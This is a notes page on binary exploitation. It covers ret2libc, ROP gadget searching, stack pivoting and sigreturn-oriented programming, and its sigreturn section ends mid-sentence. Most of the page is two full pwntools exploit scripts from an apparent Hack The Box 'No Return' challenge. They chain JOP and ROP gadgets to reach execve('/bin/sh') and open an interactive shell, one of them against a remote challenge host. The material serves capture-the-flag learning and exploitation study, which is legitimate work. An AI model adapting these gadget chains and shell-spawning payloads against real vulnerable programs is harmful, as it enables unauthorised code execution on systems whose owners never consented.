Skip to content

Ret2Libc

Ret2libc

When the stack is not executable running executable code can be done though the shared libraries.

https://shellblade.net/files/docs/ret2libc.pdf

Finding functions to call in libs:

readelf -a /usr/lib32/libc.so.6 | grep system
   251: 001265e0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   640: 0003c7d0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1485: 0003c7d0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
   565: 00000000     0 FILE    LOCAL  DEFAULT  ABS system.c
   566: 0003c2b0  1086 FUNC    LOCAL  DEFAULT   13 do_system
  4988: 001265e0   102 FUNC    LOCAL  DEFAULT   13 __GI_svcerr_systemerr
  6919: 0003c7d0    55 FUNC    WEAK   DEFAULT   13 system
  7539: 001265e0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr
  7602: 0003c7d0    55 FUNC    GLOBAL DEFAULT   13 __libc_system

Finding offsets of strings:

strings -t x /usr/lib32/libc.so.6 | grep /bin/sh
 17888a /bin/sh

Return Oriented Programing (ROP)

Uses Gadgets of minimal ASM followed by a return to hop to the next gadget.

Ropper
Quick RCE with ROP
Search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures.

One Search gadget

Find Shell in Glibc:

>>> one_gadget /usr/lib/libc.so.6
0xcd7aa execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xcd7ad execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xcd7b0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Rop Searcher with r2

>>> r2 `which exa`
[0x0000c100]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x0000c100]> /Rl call rdx
  0x00110588                 55  push rbp
  0x00110589               ebf0  jmp 0x11057b
  0x0011058b           ff4cecf0  dec dword [rsp + rbp*8 - 0x10]
  0x0011058f               ffd2  call rdx

  0x0011058a         f0ff4cecf0  lock dec dword [rsp + rbp*8 - 0x10]
  0x0011058f               ffd2  call rdx

  0x00110710         b835f1ff8e  mov eax, 0x8efff135
  0x00110715               31f1  xor ecx, esi
  0x00110717               ffd2  call rdx

r2 Source

Sample ROP Gadgets to look for:
- /R/ pop [re][abcds][ix] (Put something into a register from the stack)
- /R/ xchg [re]sp (Exchange something on the stack with a register)
- /R/ mov \[[reabcsix]+\]>, [reabcsix]+ (Arbitrary write from second address to first address)

Stack Pivoting

This is used when you do not control enough of the stack or when you cant overwrite things on the stack.

Finding a Stack Pivot Gadget:

[0x0000c100]> /Rl pop rsp
  0x0010f98d                 5c  pop rsp
  0x0010f98e               415d  pop r13
  0x0010f990               415e  pop r14
  0x0010f992               415f  pop r15
  0x0010f994                 c3  ret

Jump Oriented Programing (JOP)

This was taken from the No Return challenge

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
from pwn import *
from pwnlib.util.cyclic import cyclic_metasploit, cyclic_metasploit_find

import struct

# Set up pwntools for the correct architecture
exe = context.binary = ELF('2020_04.bin')
# Set up pwntools for the correct architecture 
context.terminal = ['urxvt', '-e', 'zsh', '-c']

def setupGadgets():
	gadget_list = []

	#######################################################################################
	# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
	# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
	#######################################################################################
	gadget_list.append(p64(0x000000000040103c))

	#######################################################################################
	# 3rd JOP Gadget: Copy the Current stack pointer into RCX. This contains the 
	# 0x000000000040101c: mov rcx, rsp; std; jmp qword ptr [rdx];
	####################################################################################### 
	gadget_list.append(p64(0x000000000040101c))


	#######################################################################################
	# 4rd JOP Gadget: Swap the RBP Gadget in RDI to RCX. Swap the exec string to RDI
	# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
	####################################################################################### 
	gadget_list.append(p64(0x0000000000401067))

	#######################################################################################
	# 5th JOP Gadget: Set the RCX register to the exec string. 
	#                 While the value is not needed it increases the stack pointer.
	#                 The RBP Gadget in RDX is copyed backover to RCX.
	#                 The syscall number will be inserted into RDX. (Will be swapped with RAX)
	# 0x000000000040104c: pop rcx; mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
	####################################################################################### 
	gadget_list.append(p64(0x000000000040104c))


	#######################################################################################
	# 6th JOP Gadget: Move the 0x00 in RAX to RDX and move the syscall number from RDX to RAX
	# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
	####################################################################################### 
	gadget_list.append(p64(0x000000000040105a))

	#######################################################################################
	# 7th JOP Gadget: Everything is setup now lets call syscall
	# 0x0000000000401082: syscall; 
	####################################################################################### 
	gadget_list.append(p64(0x0000000000401082))

	return b"".join(reversed(gadget_list))

host = args.HOST or 'docker.hackthebox.eu'
port = int(args.PORT or 30544)

def local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.entry:x}
break *0x0401000
#continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
io = start(['/bin/sh'])


### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)

### Get the padding length from a previous crash
pad_len = cyclic_metasploit_find(b"8Af9")
print(f"Padding Length: {pad_len}")


### Read the leak for a pointer to the stack
inital_stack_pointer = u64(io.recv(8))
print(f"Stack Pointer: {hex(inital_stack_pointer)}")

# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
args_pointer   = inital_stack_pointer + (0x08 * 2)
#Get the enviroment pointer
env_pointer    = inital_stack_pointer + (0x08 * 3)

payload_start  = (inital_stack_pointer - (pad_len + 0x8))
print(f"Payload Start: {hex(payload_start)}")

#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
#
# The call syscall
#############################


#############################
# Start of JOP
#############################

#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
jop_payload = b""

#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1]; 
jop_payload +=  p64(0x0000000000401000)

# pop rsp
# Set the stack pointer to the begining of the Stack Payload
jop_payload += p64(payload_start)

# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
stack_payload = p64(inital_stack_pointer - (0x8 * 2) - 1)

# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
stack_payload += p64(0x00)

# pop rbp
# Set RBP + 0x39 to point to the gadget table. This makes it when the add happens it goes to the next gadget
# Set this to 0x39 less than the gadget list
set_rbp = (inital_stack_pointer - (0x8 *2)) + 0x39 
stack_payload += p64(set_rbp)
print(f"RBP Target:    {hex((inital_stack_pointer - (0x8 *2)))}")


# pop rdx 
# RDX will the Second Gadget The RBP gadget
stack_payload += p64(inital_stack_pointer - (0x8 * 2))

# pop rcx 
# RCX will be pointer to
stack_payload += p64(0x00)

# pop rbx 
# This is padding for the data to be loaded into rbx
stack_payload += p64(-0x8, sign="signed")


# This is the place the RSP will be pointing to when the 3rd JOP gadget is executed
# This is also where the pop rcx is done but then imedetly overwitten
stack_payload += b"/bin/sh\x00"

# pop rdx
# This is the syscall number and will be swapped with rax
stack_payload += p64(59)


#Set up the Gadget list
gadget_list = setupGadgets()


#Setup payload structure
payload = fit({
	0: stack_payload,
	pad_len - len(gadget_list): gadget_list,
	pad_len: jop_payload
})

io.send(payload)
print(util.fiddling.hexdump(payload, groupsize=16))

io.interactive()

Mixed JOP and ROP

This was also taken from the No Return Challenge.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
from pwn import *
from pwnlib.util.cyclic import cyclic_metasploit, cyclic_metasploit_find

import struct

# Set up pwntools for the correct architecture
exe = context.binary = ELF('2020_04.bin')
# Set up pwntools for the correct architecture 
context.terminal = ['urxvt', '-e', 'zsh', '-c']

def setupGadgets():
	gadget_list = []

	#Second Gadget
	#0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
	gadget_list.append(p64(0x0000000000401067))

	#Third Gadget
	#0x0000000000401062: ret;
	gadget_list.append(p64(0x0000000000401062))

	return b"".join(reversed(gadget_list))


def start(argv=[], *a, **kw):
	'''Start the exploit against the target.'''
	if args.GDB:
		return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
	else:
		return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
#tbreak *0x{exe.entry:x}
tbreak *0x0401000
#continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
io = start(['/bin/sh', ""])


### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)

### Get the padding length from a previous crash
pad_len = cyclic_metasploit_find(b"8Af9")
print(f"Padding Length: {pad_len}")


### Read the leak for a pointer to the stack
inital_stack_pointer = struct.unpack('q', io.recv(8))[0]
print(f"Stack Pointer: {hex(inital_stack_pointer)}")

# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
args_pointer   = inital_stack_pointer + 0x08 * 2
#Get the enviroment pointer
env_pointer    = inital_stack_pointer + 0x08 * 3

payload_start  = (inital_stack_pointer - pad_len - 0x8)
print(f"Payload Start: {hex(payload_start)}")

#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
#
# The call syscall
#############################


#############################
# Start of JOP
#############################

#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
jop_payload = b""

#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1]; 
jop_payload +=  p64(0x0000000000401000)

# pop rsp
# Set the stack pointer to the begining of the Stack Payload
# -0xB8
jop_payload += p64(payload_start)

# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Exchange rdi and rcx to set the rdi varable to the executable to run
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
stack_payload = p64(inital_stack_pointer - (0x8)*2 - 1)

# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
stack_payload += p64(0x00)

# pop rbp
# The RBP is not needed just filled with padding
stack_payload += b"BPBPBPBP"

# pop rdx 
# RDX will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 3rd JOP Gadget: The Ret instruction lets us change from JOP to ROP
# 0x0000000000401062: ret;
#######################################################################################
stack_payload += p64(inital_stack_pointer - (0x8)*3)

# pop rcx 
# Since RCX will be swapped with RDI in the Second Gadget this will contain a pointer to the executable string.
# This string is at the end of the payload and can only be calculated after knowing the length of the payload
stack_payload += p64(inital_stack_pointer - 0x58)

# pop rbx 
# This is padding for the data to be loaded into rbx
stack_payload += b"BXBXBXBX"


# Because the RCX Register has ret gadget it is possoble to make this a ROP chain
# The limiting factor is that all of the Gadgets must end with jmp qword ptr [rcx];
# This makes it so that the next instruction can be poped off the stack and executed.
# This works since the ret JOP gadget is loaded in to the RCX register
#######################################################################################
# 1st ROP Gadget: Lets copy the ret gadget into RCX and set RDX to be switched into RAX
# 0x000000000040104d: mov rcx, rdx; pop rdx; jmp qword ptr [rcx]; 
#######################################################################################
stack_payload += p64(0x000000000040104d)

#POP RDX to be put into RAX
stack_payload += p64(59)

#######################################################################################
# 2nd ROP Gadget: Lets set RAX by swaping with RDX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
stack_payload += p64(0x000000000040105a)

#######################################################################################
# 3nd ROP Gadget: Lets set RDX
# 0x0000000000401050: pop rdx; jmp qword ptr [rcx];
#######################################################################################
stack_payload += p64(0x0000000000401050)

# pop RDX
# This is the enviroment pointer
#stack_payload += p64(env_pointer)
stack_payload += p64(0x00)

#######################################################################################
# 4nd ROP Gadget: Everything is setup lets execute the syscall
# 0x0000000000401082: syscall;
#######################################################################################
stack_payload += p64(0x0000000000401082)

#Here is the shell varable at the offset -0x58
stack_payload += b"/bin/sh\x00"

#Set up the Gadget list
gadget_list = setupGadgets()


#Setup payload structure
payload = fit({
	0: stack_payload,
	pad_len - len(gadget_list): gadget_list,
	pad_len: jop_payload
})

io.send(payload)
#print(util.fiddling.hexdump(payload, groupsize=16))

io.interactive()

Sigreturn-oriented programming

Source

When a signal occurs, the kernel "pauses" the process's execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn() is being called which will restore the context of the process by popping the values off of the stack. This can modify all registers in an cpu including stack pointer, instruction pointers and others

If the attacker can write values on to the stack they can forge a sigcontext structure